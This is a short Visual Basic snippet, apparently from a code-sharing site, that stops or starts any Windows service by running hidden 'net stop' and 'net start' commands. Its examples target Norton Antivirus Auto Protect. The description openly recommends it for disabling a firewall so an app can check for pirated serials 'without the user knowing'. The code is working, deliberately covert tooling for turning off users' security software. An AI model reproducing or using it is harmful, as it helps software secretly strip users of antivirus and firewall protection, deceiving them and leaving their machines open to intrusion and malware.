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A+ Disable Antivirus, Firewall, any service A+

This simple code will disable any service on the local machine, good to use to disable a firewall so your app can access the web to check for pirate serial without the user knowing etc, it will also start a service. To find a servicename goto Control Panel > Administrator Tools > Services..

Inputs
The ServiceName of a service you wish to END / START

Assumes
Service Name!

Returns
Nothing

Side Effects
Disables service, or starts one.

API Declarations
None!

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Private Sub Command1_Click()
'stops Norton Antivirus
StopService "Norton Antivirus Auto Protect Service"
End Sub

Private Sub Command2_Click()
'starts antivirus
StartService "Norton Antivirus Auto Protect Service"
End Sub

Sub StopService(ServiceName As String)
a = """" & ServiceName & """"
'uses the NET STOP function to stop the service
Shell "net stop " & a, vbHide
End Sub
Sub StartService(ServiceName As String)
a = """" & ServiceName & """"
'uses the NET START function to start the service
Shell "net start " & a, vbHide
End Sub